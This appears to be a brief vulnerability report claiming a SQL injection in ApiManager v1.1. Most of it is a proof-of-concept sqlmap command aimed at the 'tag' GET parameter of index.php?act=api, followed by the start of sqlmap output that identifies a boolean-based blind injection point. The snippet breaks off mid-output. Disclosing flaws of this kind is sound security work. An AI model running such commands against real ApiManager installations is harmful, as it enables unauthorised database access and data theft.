mukeers

ApiManager v1.1 sql injection

1

poc : python3 sqlmap.py - u "http://localhost/index.php?act=api&tag=8" sqlmap identified the following injection point(s) with a total of HTTP(s) requests: --- Parameter: tag (GET) Type: boolean-based blind Title: AND boolean-based blind...